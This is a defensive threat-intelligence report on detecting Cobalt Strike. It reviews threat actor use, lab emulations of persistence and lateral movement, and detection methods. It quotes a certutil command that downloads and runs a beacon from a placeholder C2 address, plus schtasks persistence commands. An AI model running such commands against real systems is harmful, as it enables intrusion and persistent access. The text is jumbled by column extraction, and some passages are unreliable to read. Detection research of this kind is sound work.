MALWARE/TOOLSPROFILE

By Insikt Group®
September 14, 2021

Full-Spectrum Cobalt
Strike Detection

MALWARE/TOOLS PROFILETo test detections using open-source Sigma rules andcustomSnort rules, Recorded Future acquired Cobalt StrikeThis report is a technical profile of the commercial post-exploitation
framework Cobalt Strike. It contains details on the capabilities of the and conducted adversary emulation exercises using tactics,
framework, observed threat actor use, host-based and network-based
techniques, and procedures (TTPs) from Ryuk, Chimera, anddetections, and SOAR strategies for detection and response. This reportis intended for security operations audiences who focus on detection APT41.
engineering.

Cobalt Strike developers continue to improve the tool,
generally to make it easier for operators to avoid detection.
Executive Summary
In addition to the framework’s original developers, a large
Cobalt Strike is a commercial post-exploitation community of security researchers regularly publish code, tools,
tool designed to aid penetration testers and red team and articles on how to make Cobalt Strike even more effective.
operators in conducting authorized intrusions. Despite its Cobalt Strike will very likely continue to be a threat in the future.
original goal, since its release in 2012, Cobalt Strike has
gained widespread popularity among state-sponsored
Key Judgments
threat actors and financially motivated threat actors.
Cobalt Strike’s wide functionality supports all phasesof a network intrusion, from reconnaissance and initialaccess to credential dumping and data exfiltration. Even
with its broad feature set, it is still common for threat
actors to use Cobalt Strike in combination with othermalware, like loaders, or to use Cobalt Strike to deliver
ransomware. Cisco Talos reported that in the fourth
quarter of 2020, 66% of all ransomware attacks involved
Cobalt Strike.
Despite the age and prevalence of Cobalt Strike,detection can still be difficult. The framework provides 2
key defense evasion features: Artifact Kit and Malleable
C2 Profiles. Artifact Kit enables Cobalt Strike operators
to customize the creation of payloads to avoid known
signatures for the tool. Malleable C2 Profiles enable
operators to customize the details of the command andcontrol protocol used.
Detecting and mitigating Cobalt Strike activity
requires a full spectrum of detections, including hostand network-based detections. Starting before threat
actors are even targeting your network, proactive
detection of new Cobalt Strike command-and-control(C2) servers will surface IP addresses and domains thatcan be included in alert and blocklists. Other key pointsof detection include initial access vectors, persistence
installation, and lateral movement.

1• Cobalt Strike is a prevalent tool among both statesponsored threat actors and financially motivated threat
actors. Organizations of nearly any type and size mayfind themselves defending against an attack conductedwith Cobalt Strike. Early detection of Cobalt Strike
can mitigate serious ransomware or state-sponsored
intrusions.
• Effective detection of Cobalt Strike activity requires a full
spectrum of detections, including host-based monitoring,
network-based monitoring, and threat intelligence toidentify Cobalt Strike C2s.
• Cobalt Strike is highly configurable, but many actors use
default settings, such as SSL certs, Beacon URLs, andprofiles that offer defenders detection opportunities.
• Advanced threat actors will customize Cobalt Strike
payloads to avoid detection better using built-in tools
like Artifact Kit, Malleable C2 Profiles, and Resource
Kit. Detection opportunities exist when threat actors
customize one component but leave defaults in others.
• Based on continued official and third-party development
on Cobalt Strike features and capabilities, and the abilityof any actor to obtain some version of it, Cobalt Strikewill continue to be a threat for the foreseeable future.

MTP-2021-0914

Recorded Future ® | www.recordedfuture.com

MALWARE/TOOLS PROFILE

Table of Contents
Executive Summary .......................................................................................................................... 1
Key Judgments ................................................................................................................................ 1
Background ...................................................................................................................................... 3

Criminal Acquisitions ............................................................................................................................ 4

Host-Based Detections .................................................................................................................... 4

Initial Access ......................................................................................................................................... 5		Observed Threat Actor Use ......................................................................................................... 5		Description of Emulation ............................................................................................................. 5
		Detection Techniques ................................................................................................................. 5		Static Variable Names ................................................................................................................. 5		Child Processes .......................................................................................................................... 7
Persistence ........................................................................................................................................... 7		Observed Threat Actor Use ......................................................................................................... 8		Detection Techniques ................................................................................................................. 9		Initial Execution ............................................................................................................................. 9		Creation of Scheduled Task ............................................................................................................. 9
Lateral Movement .................................................................................................................................. 9		Observed Threat Actor Use ....................................................................................................... 10		
Description of Emulation ........................................................................................................... 10
			Scenario 1: Make and Impersonate Token .............................................................................. 10
			Scenario 2: Kerberoasting Attack ......................................................................................... 11			Scenario 3: AD Enumeration via SharpHound/BloodHound ........................................................ 12
			Scenario 4: Mimikatz and DCSync ........................................................................................ 12		
Detection Techniques ............................................................................................................... 14			Named Pipes ..................................................................................................................... 14			
Abnormal Login Events ....................................................................................................... 14
			Rundll32 Sacrificial Process ................................................................................................ 15

Network-Based Detections ............................................................................................................. 15

Team Server Detection ........................................................................................................................ 15			Shodan ............................................................................................................................ 16
			
Censys ............................................................................................................................. 16			
Recorded Future ................................................................................................................ 16
			
InQuest ............................................................................................................................ 16
Cobalt Strike Beacon Traffic Detection ................................................................................................ 16

Advanced Detection and Automation .............................................................................................. 19

Cobalt Strike Keylogger Detection and Response ................................................................................ 21		Cobalt Strike Keylogger Detection ............................................................................................ 21		Cobalt Strike Keylogger Response and Automation ................................................................... 21		Cobalt Strike Keylogger Containment, Analysis, and Eradication ............................................... 22
Cobalt Strike C2 Blocking .................................................................................................................... 22

Outlook .................................................................................................................... ...................... 23

www.recordedfuture.com | Recorded Future ®

MTP-2021-0914

2

MALWARE/TOOLS PROFILE

Figure 1: References to cracked Cobalt Strike on dark web forums from April 2016 to April 2021 (Source: Recorded Future)

The tool was developed and licensed by Strategic Cyber
LLC, a company based in Washington, DC, and was acquired
Cobalt Strike is a commercially available post-exploitation by HelpSystems in March 2020. Cobalt Strike purchases areframework intended for penetration testers and legitimate red monitored for illicit use by the firm, and sales of Cobalt Strike
team tests. The framework uses a feature-rich backdoor named are subject to export controls. In 2010, the creator of Cobalt“Beacon”, controlled via a Cobalt Strike Team Server. Beacon Strike, Raphael Mudge, created a tool called Armitage that acted
implants can execute commands, implement keylogging, upload as a graphical user interface (GUI) for the Metasploit Framework.
and download files, and implement other tooling or network In 2012, Mudge released the first version of Cobalt Strike that
included the Cobalt Strike Beacon. Since 2012, Cobalt Strike has
functions.
been developed continuously, with new features being added
The Team Server acts as a central management platform
regularly. As of this writing, the most recent version is 4.3.
that operators can connect to using the Cobalt Strike graphicalA broad array of threat actors currently use Cobalt Strike touser interface (GUI). This GUI allows multiple operators to issuecommands, review exfiltrated data, and visualize the status of an support initial access and move laterally through victim networks.
operation simultaneously. The GUI is highly extensible, primarily These include state-sponsored espionage groups and criminal
through user-provided “Aggressor Scripts” that create interfaces organizations, including many active ransomware operators.

Backgroundto help execute preset lists of commands.
Recorded Future has also observed Aggressor Scripts shared
among ransomware affiliates to make it easier to run common
commands and manage additional payloads such as Bloodhound,
Mimikatz, and Rubeus.

3

MTP-2021-0914

Recorded Future ® | www.recordedfuture.com

MALWARE/TOOLS PROFILE

Criminal Acquisitions

Strike labeled as version 4.0 and later. Within high-tier Russian
language sources, actors have freely shared links to file upload
Despite export controls and vetting of sales of Cobalt
platforms such as Anonfiles and Mega[.]nz containing leaked
Strike, several versions of Cobalt Strike have been leaked andversions of Cobalt Strike at no extra cost. This contrasts with
distributed online on both clearnet sites, such as GitHub, andlow-tier sources, where users traditionally charge for access to adark web forums. In some cases, the digital rights management
download link. Sellers on such sites are likely relying on the fact(DRM) and license enforcement mechanisms were removed, andthat entry-level individuals are not aware that they can accessthe resulting packages were delivered as “cracked” versions ofcracked versions for free elsewhere.
Cobalt Strike. Figure 1 shows dark web forum posts discussing
cracked versions of Cobalt Strike from the last five years.
Based on our data, dark web interest in Cobalt Strike has Host-Based Detections
increased significantly over the past year. The highest volume of
The different components of the Cobalt Strike framework
references within Figure 1 from around November 2020 coincides
lead to different detection points across the kill chain, as seen
with reports of source code for Cobalt Strike version 4.0 beingin Figure 4. Detection of the initial access and Beacon activity
uploaded to GitHub.
is better suited for host-based detections via log detection with
In addition to the cracked standard versions of Cobalt Strike, a SIEM or the use of an endpoint detection and response (EDR)a trial version has also been used by threat actors such as APT41. tool. The delivery of the Beacon and the C2 communication
The trial version of Cobalt Strike lacks key evasion capabilities, (defined by the Malleable C2 Profile) are best detected withsuch as the ability to remove MZ headers when loading the network detections using intrusion detection systems (IDS)
Beacon DLL, and it contains artifacts that make detection of like Snort. In response to the widespread use of Cobalt Strike,
Cobalt Strike activity even easier. For example, an older version security researchers have developed many open-source YARA
of Cobalt Strike (3.0) included the EICAR string within the and Sigma detections.
headers of all HTTP GET requests.
In 2020, Talos released a report, “The art and science ofSince the beginning of 2021, versions of Cobalt Strike have detecting Cobalt Strike”, detailing the internals of Cobalt Strike
consistently appeared in threads within underground sources and how to detect the different stages of a Cobalt Strike attack.
categorized as both low tier and high tier sources. The majority Their detections focus primarily on Snort and ClamAV signatures.
of references to “leaked” or “cracked” copies of Cobalt Strike
during this timeframe are predominantly for versions of Cobalt

Figure 2: A simplified overview of different points for detection of Cobalt Strike activity (Source: Recorded Future)

www.recordedfuture.com | Recorded Future ®

MTP-2021-0914

4

MALWARE/TOOLS PROFILETo test host-based detections based on real malicious usesof Cobalt Strike, Recorded Future acquired a copy of Cobalt
Strike and conducted adversary emulation exercises usingtactics, techniques, and procedures (TTPs) from Ryuk, Chimera,
and APT41 focusing on initial access, installing persistence, andmoving laterally.

Another key aspect of Cobalt Strike macros is the methodof shellcode execution shown in Figure 6. The shellcode to be
executed is stored in an array, “myArray”, in an obfuscated form
and is only deobfuscated in memory. This could allow the macro
to evade signature detections looking for known shellcode
patterns.

Initial Access

Detection Techniques

Observed Threat Actor Use

Static Variable Names

Phishing emails remain a significant intrusion vector. The
Verizon DBIR reported that in 2020, phishing had been reported
in 36% of breaches, up 11% from 2019. Additionally, Craig Williams
from Cisco Talos has said, “Microsoft Office documents withmalicious macros are still one of the top choices for attackers
of all skill levels”.

The variable containing the region of memory allocated andused to load the shellcode is called “rwxpage”. This variablename did not change between our generated macros. Based ondata from InQuest Labs, Insikt Group found that this variablename was unique to Cobalt Strike macros.

While there is minimal reporting on the use of Cobalt Strikegenerated macros, the use of macros to deliver Cobalt Strike aswell as other malware is still a common tactic. For that reason,
we decided to emulate an attack using Cobalt Strike-generated
macros.

Description of Emulation
The Cobalt Strike macro loads and executes shellcode to
download the Beacon from the Team Server. To understand the
Cobalt Strike macro payload, Insikt Group generated several
macros to identify what features would change. The code
structure of the generated Cobalt Strike macros had minimalchanges across each payload and can be identified by the importsection and the shellcode execution section. The first common
section in the generated macros is the Win32 function importsection shown in Figure 5. Insikt Group has observed the useof the statement, “#if VBA7 Then” combined with the imports“CreateRemoteThread”, ”VirtualAllocEx”, “WriteProcessMemory”
and “CreateProcessA” to be present and follow the samestructure shown in Figure 5. This commonality was observed
across our generated macros as well as ones found in the wild.

The Cobalt Strike documentation suggests using Resource
Kit to change the macro format. However, the Cobalt Strikeversion we analyzed did not contain the Resource Kit. Between
January 2021 and June 2021, we identified 886 Cobalt Strikemacros containing the unmodified “rwxpage” variable name.
The Team Server C2s extracted from the macros had a low
detection rate both by Recorded Future’s proactive C2 detection(5% of C2s detected) and our open-source collection (10% of
C2s detected). Our proactive C2 detection has since been
updated to include the results of Team Server C2s from Cobalt
Strike macros. Over half of the extracted Team Server C2s were
hosted in China, as seen in Figure 7. A full list of the extracted
C2s can be found on our GitHub repository.

Figure 3: Cobalt Strike macro initialization code (Source: Recorded Future)

5

MTP-2021-0914

Recorded Future ® | www.recordedfuture.com

MALWARE/TOOLS PROFILE

Figure 4: Cobalt Strike macro execution code (Source: Recorded Future)

Figure 5: Breakdown of Cobalt Strike macro Team Servers by Country of ASN (Source: Recorded Future)

www.recordedfuture.com | Recorded Future ®

MTP-2021-0914

6

MALWARE/TOOLS PROFILE

Child Processes

Cobalt Strike’s documentation demonstrates using 2 possible
persistence mechanisms:

Before the shellcode is loaded into memory by the macro,
the process first spawns an instance of “rundll32.exe”. This• Event Triggered Execution (T1546)“rundll32.exe” process acts as a disposable process for the• Create or Modify System Process: Windows Service
shellcode to be allocated and then executed in. This technique(T1543.003)
of spawning disposable processes from macros is not unique to
Cobalt Strike. To detect this type of activity, you can use thisA popular third-party repository of Aggressor scripts createdSigma rule to identify suspicious child processes of Microsoft
by GitHub user harleyQu1nn provides many more persistence
Office products.
mechanisms:• Scheduled Task/Job: Scheduled Task (T1053.005)

Persistence
Cobalt Strike doesn’t contain explicit commands for gaining
persistence on an infected host. However, operators of Cobalt
Strike can issue commands to create a variety of persistencemechanisms on infected Windows victims. To support this,Cobalt Strike can create Beacon files that conform to the
Windows Service specification, allowing the Beacons to function
as Windows services.

• Create or Modify System Process: Windows Service(T1543.003)• Event Triggered Execution: Windows Management
Instrumentation Event Subscription (T1546.003)• Logon Initialization Scripts (T1037)• Boot or Logon Autostart Execution: Registry Run Keys
(T1547)• BITS Jobs (T1197)
The Cobalt Strike user community has developed a libraryof automated scripts that contain the guided prompts to issue
Other third-party repositories such as Staykit and WMIcommands needed to establish persistence on an infected Persistence implement similar persistence techniques as thevictim. These scripts make use of the Cobalt Strike automation harleyQu1nn repository. Despite the lack of explicit commands
known as “Aggressor scripts”.
for persistence in Cobalt Strike Beacon, the community has usedfeatures from the framework like the Aggressor scripts to createeasy-to-use interfaces for threat actors to issue commands tocreate persistence using Cobalt Strike.

Figure 6: Cobalt Strike macro child process shellcode execution (Source: Recorded Future)

7

MTP-2021-0914

Recorded Future ® | www.recordedfuture.com

MALWARE/TOOLS PROFILE

Observed Threat Actor Use
Windows scheduled tasks (T1053.005) are a common option
for persistence that has been used by myriad threat actors in
the last year, including Chimera and UNC2198 for ransomware
delivery.
Chimera, likely a Chinese state-sponsored threat actor, hastargeted semiconductor firms and aviation entities. Taiwanesecybersecurity firm CyCraft believed that an unknown Chinesesponsored APT group had conducted the attacks to steal
semiconductor designs, source code, software development kits Figure 9: Command emulating APT41 to download and execute a Cobalt Strike Beacon (Source:
Recorded Future)(SDKs), and other proprietary information.
For initial execution in this test, in a command prompt, weChimera uses stolen credentials and password spraying
as initial access, using administrative privileges to run a executed certutil to download the Beacon Payload and begin
PowerShell command to load Cobalt Strike into the memory of execution as seen in Figure 12. This command is almost identicalthe compromised device. Additionally, the threat actors used to the command executed by an exploit used by APT41 in Marcha C2 server hosted on Google’s or Microsoft’s cloud services, 2020.
making their communications more difficult to detect. Chimera
operators use Cobalt Strike as follows:

cmd /c certutil -urlcache -split -f
http://<c2_ip>/2.exe && 2.exe

Chimera uses the Windows Task Scheduler (schtasks.exe) Figure 10: Command emulating APT41 to download and execute a Cobalt Strike Beacon (Source:
to execute Cobalt Strike both for persistence and for single Recorded Future)
executions. In one campaign Chimera replaced the Google
After the initial connection, we used the command getsystem
Chrome updater executable and created a scheduled task totoelevateour session’s privileges and then used the Cobalt
execute it on system startup.
Strike “run” command to execute schtasks to create a scheduled
schtasks /create /s <Computer Name> “SYS- task to run with system privileges that would execute on system
TEM” /tn “GoogleUpdateTaskMachine” /start, as seen in Figure 13.

tr “\”C:\Program Files (x86)\Google\Update\1.3.35.342\GoogleUpdate.exe\”” /sc
ONSTART

Figure 7: Command used by Chimera to create a scheduled task that executes on system startup(Source: CyCraft)

schtasks /create /ru “SYSTEM” /tn “update” /tr “cmd /c c:\windows\temp\update.
bat” /sc once /f /st 06:59:00
Figure 8: Command used by Chimera to create a scheduled task that executes once (Source:
CyCraft)

Description of Emulation

schtasks /create /ru “SYSTEM” /tn “GoogleUpdateTaskMachine” /tr “C:\Users\IEUser\2.exe” /sc ONSTART
Figure 11: Command emulating Chimera to create a scheduled task that executes on system startup(Source: Recorded Future)

Following the successful installation of the scheduled task,
we rebooted the victim machine. When the machine finishedrestarting, a new instance of the Cobalt Strike Beacon started,
this time running as the SYSTEM user. The full series of Beacon
activity and commands issued using Cobalt Strike can be seenin Figure 14.

To emulate the persistence observed in the Chimera
campaigns, we used a lab environment consisting of a Windows
10 Desktop VM acting as our victim and another Windows 10
Desktop VM running Cobalt Strike Team Server. On the victim
VM, we ran Sysmon using the sysmon-module configuration.

www.recordedfuture.com | Recorded Future ®

MTP-2021-0914

8

MALWARE/TOOLS PROFILE

Figure 12: Activity report from our schtasks efforts (Source: Recorded Future)

Figure 13: Activity report from our schtasks efforts (Source: Recorded Future)

Detection Techniques

In our emulation, because we escalated the Beacon’s session
to have SYSTEM privileges using the command get SYSTEM,
This simple emulation exercise produced relatively few
the creation of our scheduled task was not detected using
Sysmon and other log events that would provide opportunities
the previously mentioned Sigma rule. To find the scheduled
for detection. However, there are 2 key phases of the attack
task we created, we used Sysinternals Autoruns (running as
where detection and response are possible: initial execution and
Administrator) to find the scheduled task. The output of thatthe creation of the scheduled task.
tool can be seen in Figure 15 on the top line with the entry name“GoogleUpdateTaskMachine” and the image path that ends in
Initial Execution“2.exe”.
Certutil is known as a “living off the land binary” (LOLBIN)
and has been used by APT41 to load Cobalt Strike. Certutil Lateral Movement
can help do a variety of tasks related to certificates, including
Threat actors typically, although not exclusively, acquireconfiguring the Windows certificate authority and verifying
a foothold on a network as a low-privileged user and movecertificates. However, certutil also has the ability to download
laterally between systems to achieve their objectives. In an
arbitrary files and decode the contents of a file. This functionality
enterprise network using Microsoft Active Directory (AD), thisis activated using command line flags that wouldn’t come up in
may entail compromising systems running as Domain Controllers
benign uses. The use of suspicious flags (such as the one used
or obtaining the highest level of Domain Admin or Enterprisein our emulation “-urlcache”) in command lines can be detected
Admin privileges, effectively allowing complete control of an AD
using this Sigma rule.
network.
Cobalt Strike allows an attacker to move laterally between
systems, either by installing a Beacon payload on these systems
Using schtasks.exe to create a new scheduled task results
or by using native Windows functionality to execute commands
in a process being created with the command line containing
remotely. Cobalt Strike includes a functionality similar to thedetails of the new scheduled task to be created. The flags used
Sysinternals PSExec tool and can also use Windows Managementby the command may vary depending on the schedule and user
Instrumentation (WMI) or Windows Remote Management
for the scheduled task, but generally, the commands can be(WinRM) to run a new Beacon or one-off commands on remotedetected using this Sigma rule.
systems. Cobalt Strike features an SMB Beacon that createsa parent-child chain of Beacons (which can be running on thesame or different systems) before egressing out of the network
Creation of Scheduled Task

9

MTP-2021-0914

Recorded Future ® | www.recordedfuture.com

MALWARE/TOOLS PROFILE

through an HTTP(S) or DNS Beacon. Using this type of Beacon
No changes were made to any of the Cobalt Strike default(rather than having HTTP(S) or DNS Beacons on each system) options. Sysmon was running on each Windows system, using adecreases the number of external connections from a victim slight modification of the popular SwiftOnSecurity configuration.
network but also creates other detection opportunities. As with These logs were then ingested into an ELK instance for further
many other cases, detections can be built around default values. analysis.
While Cobalt Strike allows an operator to change many of thesedefaults, and advises this in the documentation, in the wild,
attackers will continue to make mistakes.
To aid in lateral movement, Cobalt Strike also includes several
user impersonation features. With administrator privileges on acompromised system, an attacker can steal the access token ofa running process on that system, allowing them to effectively
impersonate the user account the process is running under(Access Token Manipulation: Token Impersonation/Theft,
T1134.001). This can allow escalation to the SYSTEM user orimpersonation of another user account with desired privileges.
A user without administrative privileges can also make an accesstoken for another account, provided they have valid credentials(Access Token Manipulation: Make and Impersonate Token,
T1134.003). We emulated both of these tactics to validate
Figure 14: Emulation test lab setup (Source: Recorded Future)
existing detections.
Scenario 1: Make and Impersonate Token

Observed Threat Actor Use

In this scenario, a Beacon payload was run (via scripted
Three detailed reports of Ryuk ransomware compromises
webdelivery) from a low-privileged user (alice.lowpriv@testlab.
demonstrate some of the methods threat actors have used for
local)
logged onto the Windows 10 machine (WIN10CLI-01). The
domain discovery and lateral movement once an initial footholdBeacon called out to a Cobalt Strike Team Server running onof a low-privilege Cobalt Strike beacon is established.
an attacking machine on the local network. The alice.lowpriv
In these cases, the attackers used a combination of native account was a member of the Domain Users group and did not
Windows commands (“nltest” and “net” commands); PowerShell have any local or domain administrative privileges.
(the ActiveDirectory module and Powersploit framework); and the
The attacker had access to credentials for a further user
domain discovery tool adfind. They used the Kerberos offensive
account,
bob.mediumpriv@testlab.local (Valid Accounts: Domain
tool Rubeus for a Kerberoasting attack. In 2 of these cases,
the attackers could trivially compromise a domain controller by Accounts, T1078.002). We did not emulate the process of
exploiting the Zerologon vulnerability, effectively allowing them obtaining these credentials, but there are numerous plausible
to remove the domain controller’s password. The attackers used scenarios for an attacker to possess them, such as priorseveral techniques for lateral movement, including RDP, PSExec, compromised credentials or files contained on an accessible
SMB share within the network.
and Cobalt Strike’s SMB Beacon.
These credentials allowed the attacker to make an accesstoken and effectively impersonate bob.mediumpriv using Cobalt
We created a simple Active Directory lab environment to Strike’s “make token” command. This account is also a member ofemulate certain lateral movement scenarios during this research, the Domain Users group and additionally has local administrative
as seen in Figure 16, below. This lab environment consisted of one privileges to another domain-joined system, a Windows 2019
Windows Server system acting as a Domain Controller, another server (FILESERVER). Although there are several tools to findWindows Server system, and a Windows 10 client machine. which computers a user has local admin rights to, in this scenario,
These machines were all on the same network segment, as was we used the Find-LocalAdminAccess PowerShell function in thethe attacking machine running the Cobalt Strike Team Server and PowerSploit framework, which can be imported with Cobalt
control interface. Windows Defender was disabled to facilitate Strike’s “Powershell-import” command.

Description of Emulation

testing. A range of user accounts with various privileges andone service account were created on the testlab.local domain.
www.recordedfuture.com | Recorded Future ®

MTP-2021-0914

10

MALWARE/TOOLS PROFILE

Figure 15: Cobalt Strike’s visualization of our chain of SMB Beacons (Source: Recorded Future)

Having impersonated bob.mediumpriv, the attacker ran the Scenario 2: Kerberoasting Attack“jump psexec64’’ command to move laterally to FILESERVER,
In scenario 2, we emulate a Kerberoasting attack.
specifying that this new Beacon would connect to the initial
Kerberoasting allows an attacker with domain credentials to
Beacon on the WIN10CLI-01 system, via SMB. This led to therequest a Kerberos ticket for a service account, encrypted with
Beacon connecting from FILESERVER, running as the SYSTEM
the password hash for the account in question. If a weak passworduser.
is chosen, an attacker can obtain the service account’s cleartext
Using the built-in Cobalt Strike process listing command “ps”, password in an offline cracking attack. Service accounts are often
the attacker could see processes were running under the anne. given high-level privileges, sometimes including membership toadmin user account. The attacker was then able to steal a token the Domain Admins group, making this an effective attack. We
from one of these processes, effectively now impersonating the created a Windows service account (sql.server@testlab.local)
anne.admin user. This user was in the “Domain Admins” group, with an associated Service Principal Name (SPN), required forand the attacker now had administrative access to the domain use in Kerberos authentication.
controller (DC01). The attacker moved laterally to this system
Interacting with a Beacon instance running as the alice.
using WinRM and started a Beacon instance on the Domain
lowpriv user on the WIN10CLI-01 machine, we used theController.
PowerShell Get-ADUser commandlet to return Active Directory
The end state of this emulation is illustrated here, where we users with a value set for their SPN. With the SPN, we can now
see the 3 Beacon instances, the users they are running under, get the associated encrypted Kerberos TGS ticket using theand how they connect via SMB (the solid orange lines) before Rubeus tool, which is popular with penetration testers but has
also been used by Ryuk ransomware operators. Using Rubeus
egressing via HTTP (dashed green line) to the Team Server.
returned the encrypted Kerberos TGS ticket for our SPN. The
Figure 18 shows a high-level report on all of the attacker
encrypted ticket can be cracked offline to obtain the cleartext
commands run during this scenario.
password for the service account.

11

MTP-2021-0914

Recorded Future ® | www.recordedfuture.com

MALWARE/TOOLS PROFILE

Figure 16: Cobalt Strike activity report for lateral movement emulation (Source: Recorded Future)

To further demonstrate Cobalt Strike’s in-memory execution, Scenario 4: Mimikatz and DCSync
Rubeus was run on the victim using the execute-assembly
In our final emulation, we used features of Mimikatz (viacommand, allowing a .NET assembly to be loaded into a
the Cobalt Strike GUI) to dump credentials using a DCSync (OStemporary process and run in memory, rather than having toCredential Dumping: DCSync, T1003.006) attack. We launchedupload a tool to the victim system.
this from a Beacon running in a high integrity context as theanne.admin user (obtained in scenario 1), since this attack
Scenario 3: AD Enumeration via SharpHound/BloodHoundrequires domain replication rights (which our user has due to
We used the same execute-assembly command to run their membership of the Domain Admins group). Again leveraging
SharpHound on the victim network, again from the low-privilege Mimikatz but using the Cobalt Strike GUI commands, we then
Domain User account alice.lowpriv. SharpHound is the official created a “Golden Ticket” (Steal or Forge Kerberos Tickets:“data collector” for the BloodHound AD visualization and Golden Ticket, T1158.001), using the KRBTGT user NTLM hashgraphing tool. It uses native Windows API functions and LDAP obtained in our DCSync attack.
namespace functions to collect data from domain controllers anddomain-joined Windows systems. SharpHound outputs a zipped
file that we download; we then delete the local files. These files
are then imported into the BloodHound application, producing
the following screenshot:www.recordedfuture.com | Recorded Future ®

MTP-2021-0914

12

MALWARE/TOOLS PROFILE

Figure 17: Rubeus run from Beacon to perform a Kerberoasting attack (Source: Recorded Future)

Figure 18: BloodHound visualization and graph of our simple testlab Domain (Source: Recorded Future)

13

MTP-2021-0914

Recorded Future ® | www.recordedfuture.com

MALWARE/TOOLS PROFILE

Note the “msagent-xx” and “MSSE-xxx-server” default pipe
names: the former is used for communication between SMB
Beacons, and the latter is used in Cobalt Strike’s default EXE
and DLL binaries as a means to inject shellcode. We can also
observe the randomly named service executable written to thelateral movement target’s ADMIN$ SMB share.
The “msagent” pipe name can be trivially changed in the
Cobalt Strike interface while establishing an SMB Beacon
listener; the MSSE pipe name requires use of the Artifact Kit
to change, which requires a separate download and is absent
from at least some cracked versions of Cobalt Strike, and may
therefore be a more reliable detection. Again, while both names
Figure 19: Cobalt Strike’s GUI makes it simple to create a Golden Ticket, even pre-populating someare configurable, attackers will not always observe best practice:of these fields (Source: Recorded Future)a 2018 campaign attributed to APT29 dropped a Cobalt Strike
Detection Techniques
Beacon from a malicious .LNK file, and in this campaign both
the MSSE and msagent pipe names were unchanged from theirNamed Pipes
defaults, despite the attacker’s having observed some tradecraft
Cobalt Strike relies extensively on named pipes for AV in using a modified version of a malleable C2 profile.
evasion, lateral movement, inter-Beacon communication, andA Sigma rule from Florian Roth and Wojciech Lesicki can bepost-exploitation activity. Named pipes are a method of interused to detect these (and several other) default pipe naming
process communication in Windows, used primarily for local
patterns used in Cobalt Strike. It is worth noting the Sysmon
processes to communicate. They can also be used for processes
events 17 and 18 are not logged in the popular SwiftOnSecurity
to communicate between hosts. A blog by the creator of Cobalt
Sysmon configuration. As mentioned previously, we used theStrike gives an overview of the different purposes Cobalt Strike
configuration from a recent GitHub pull request in our test lab
uses named pipes for and provides guidance to operators on
to capture these events. As always, any Sysmon configuration
opsec considerations. As with many features of Cobalt Strike,should be checked and tailored before being deployed inoperators are encouraged to change the default values of the
production. Further content on Cobalt Strike’s use of named
named pipes, but compliance with this recommendation ispipes, and detections built on these, can be found in blogs fromunlikely to be universal.
F-Secure and Sekoia.
In logs from our emulation lab, we can see evidence of Cobalt
Strike’s default pipe names. The following logs were captured Abnormal Login Eventsfrom the FILESERVER machine after lateral movement from theLateral movement using Cobalt Strike (and other offensive
Windows 10 client.
tools) can also generate abnormal Windows login events. One
example of a detection strategy would be to look for event ID
4624 (An Account was Successfully Logged On) in the Windows
Security log, with a LogonType value of 9 (NewCredentials — A
caller cloned its current token and specified new credentials foroutbound connections, and the new logon session has the same
Figure 20: Sysmon Log Events showing Cobalt Strike’s default SMB Beacon pipe name (Source:
local identity, but uses different credentials for other network
Recorded Future)connections). This was again captured in our emulation lab:

Figure 21: Sysmon Log Events showing Cobalt Strike’s default pipe name for executing binaries(Source: Recorded Future)

www.recordedfuture.com | Recorded Future ®

MTP-2021-0914

14

MALWARE/TOOLS PROFILE

Figure 22: Security Log event showing unusual LogonType (Source: Recorded Future)

This detection approach is better suited to threat hunting. Network-Based Detections
It may generate false positives (for example, legitimate remoteadministration activity), but they will likely be rare enough in Team Server Detection
most environments to conduct further investigation.
Insikt Group’s primary detection methods for Cobalt Strikefocus on identifying the Team Servers. As outlined in previous
Rundll32 Sacrificial Process
Insikt research, there are publicly reported methods for
In some of our tests, this Sigma rule was effective at finding identifying Cobalt Strike Team Servers:
rundll32.exe processes that are spawned without process• Cobalt Strike servers are shipped with a default security
arguments. By default, the Cobalt Strike lateral movement
certificate that can be used to fingerprint them unlesscommands “jump psexec” and “jump psexec64” and the privilege
the administrator changes it.
escalation command “elevate svc-exe” generate a Windows• When enabled, the Cobalt Strike DNS server responds toservice executable and upload it to the target. This executable
any DNS request received with a bogus (fake) IP: 0.0.0.0
spawns rundll32.exe with no arguments, injects a process into
(this is not unique to Cobalt Strike servers).
it, and then exits. Rundll32.exe typically takes a DLL nameand entry function as arguments, so this behavior from Cobalt
Strike is anomalous. Once again, Cobalt Strike’s documentation
recommends operators change this default behavior, but not all
operators will do so.

• The default controller port for Cobalt Strike Team Serveris 50050/TCP, a port unlikely to be found open on otherservers.
• The “404 Not Found” HTTP response for Cobalt Strike isunique to NanoHTTPD web servers and can be detected.
• There is an extra null byte in the HTTP server responseof NanoHTTPD servers (an open source, Java-based
web server). This extra null byte is visible in Cobalt
Strike version 3.13 and earlier, including in many cracked
instances.

15

MTP-2021-0914

Recorded Future ® | www.recordedfuture.com

MALWARE/TOOLS PROFILE

An additional public detection method for Cobalt Censys
Strike Team Servers released after our initial research• Searching Censys for 443.https.tls.certificate.parsed.
shows that by using the JARM signature 07d14d16d21d
fingerprint_sha256: 87f2085c32b6a2cc709b365f55
21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1,
873e207a9caa10bffecf2fd16d3cf9d94d390c finds IPs
you can significantly filter down the public IP space to find amaking use of the Cobalt Strike certificate, based on its
manageable amount of suspicious Cobalt Strike Team Servers.
SHA256 fingerprint. This is a higher confidence signal.
The use of a proxy server for the Cobalt Strike Team Server
prevents detection with many of these techniques, including Recorded Future
software-focused detections such as the default security
certificate, 404 response and NanoHTTPD null byte methods.
However, many operators of Cobalt Strike do not take thisimportant step.

• Recorded Future detected 3303 unaltered Cobalt Strike
Team Servers (the pre-configured TLS certificate, Team
Server administration port, or telltale HTTP headers)
during 2020, the most popular C2 framework observed inour dataset. Cobalt Strike represented 13.5% of the total
C2 servers identified.

Although the detection methodologies described above are
public, Recorded Future has observed that Cobalt Strike servers
have been left unpatched for the most part, allowing fingerprinting
InQuestand subsequent detection. This methodology, coupled with other
Based on our analysis of the Cobalt Strike macro, Insikt
detections, allowed Recorded Future to sample Cobalt Strike
servers found in the wild and compare fingerprinting methods Group developed a Python script to search InQuest data for theto help defenders best track and monitor this framework. The “rwxpage” keyword and then extract the shellcode portion of
tracking of Cobalt Strike servers can aid blue teams in detecting the macro to get the configured Team Server C2 information.
red team activity and containing activity from adversaries who Defenders can use this script to extract Team Servers IPs anddomains that can be added to a blocklist or used in historicalhave not modified their Cobalt Strike Team Server.
searches in your SIEM.
Below are the passive searches that detect Cobalt Strike
Team Servers using the above-mentioned techniques.

